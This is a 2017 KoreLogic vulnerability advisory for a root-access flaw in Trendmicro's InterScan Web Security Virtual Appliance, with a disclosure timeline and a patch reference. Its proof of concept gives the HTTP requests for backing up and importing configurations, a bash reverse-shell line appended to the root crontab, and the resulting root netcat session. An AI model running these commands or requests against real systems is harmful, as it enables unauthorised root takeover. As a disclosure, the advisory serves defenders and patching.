KL-001-2017-003 : Trendmicro InterScan Remote Root Access Vulnerability Title: Trendmicro InterScan Remote Root Access Vulnerability Advisory ID: KL-001-2017-003 Publication Date: 2017.02.15 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-003.txt 1. Vulnerability Details Affected Vendor: Trendmicro Affected Product: InterScan Web Security Virtual Appliance Affected Version: OS Version 3.5.1321.el6.x86_64; Application Version 6.5-SP2_Build_Linux_1548 Platform: Embedded Linux CWE Classification: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type Impact: Root Access Attack vector: HTTP 2. Vulnerability Description Any authenticated user can overwrite specific files on the local system, which can be exploited to result in root access. 3. Technical Description An attacker can use a HTTP POST request to instruct the management application to backup the current appliance configuration into a tarball. A valid session is required. POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1 Host: 1.3.3.7:8443 [snip] HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Disposition: attachment; filename="IWSVA6.5-SP2_Config.tar" [snip] Extracting the tar file gives you several files, detailed below: $ tar xf IWSVA6.5-SP2_Config.tar x Configurations/ x Configurations/icaps.pkey x Configurations/ClientConnectionQuotaWhiteList.ini x Configurations/IWSSPINcieScan.dsc [snip] $ cd Configurations/ $ ls -la shadow passwd crontab.iscan crontab.root S55sshd S99lanbypass prd.passwd iscan root -rwxr-xr-x@ 1 level staff 4683 25 oct 05:32 S55sshd -rwxr-xr-x@ 1 level staff 13553 25 oct 05:32 S99lanbypass -rw-r-----@ 1 level staff 1738 25 oct 05:32 crontab.iscan -rw-r-----@ 1 level staff 416 25 oct 05:32 crontab.root -rw-r--r--@ 1 level staff 693 25 oct 05:32 passwd -rw-r-----@ 1 level staff 44 25 oct 05:32 prd.passwd ---------- 1 level staff 427 25 oct 05:32 shadow -rw-------@ 1 level staff 1796 25 oct 05:50 iscan -rw-------@ 1 level staff 467 25 oct 05:32 root The file content presents several attack scenarios: Obtain hashes for all accounts Poison shadow file with known hash Poison cron with a bash shell Poison scripts executed at boot Directory traversal with web shell The file, root, contains cron entries which are ran by the root user at boot. A bash reverse shell was appended to this file and a new tar file containing the poisoned file was created. $ head -n 1 root 0-59/2 * * * * /usr/iwss/bin/systemupdate > /dev/null 2>&1 $ echo */2 * * * * /bin/bash -i >& /dev/tcp/1.3.3.8/8086 0>&1 >> root $ cd ..; tar cf hacked.tar Configurations/ ProductInfo.xml POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=import&packageName=/usr/iwss/AdminUI/tomcat/import/hacked.tar&type=1 HTTP/1.1 Host: 1.3.3.7:8443 [snip] HTTP/1.1 302 Found Server: Apache-Coyote/1.1 [snip] This resulted in a netcat shell as the root user. $ nc -lv 8086 [root@iwsva65sp2 ~]# id;uname -a uid=0(root) gid=0(root) groups=0(root) Linux iwsva65sp2 2.6.32-504.OpenVA.3.5.1321.el6.x86_64 #1 SMP Tue Dec 23 15:08:35 CST 2014 x86_64 x86_64 x86_64 GNU/Linux [root@iwsva65sp2 ~]# 4. Mitigation and Remediation Recommendation The vendor has issued a patch for this vulnerability in Version 6.5 CP 1737. Security advisory and link to the patched version available at: https://success.trendmicro.com/solution/1116672 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2016.12.12 - KoreLogic sends vulnerability report and PoC to Trendmicro. 2016.12.15 - Trendmicro acknowledges receipt of report. 2017.01.11 - Trendmicro informs KoreLogic that the patch to this and other KoreLogic reported issues will likely be available after the 45 business day deadline (2017.02.16). 2017.02.06 - Trendmicro informs KoreLogic that the patched version will be available by 2017.02.14. 2017.02.14 - Trendmicro security advisory released. 2017.02.15 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt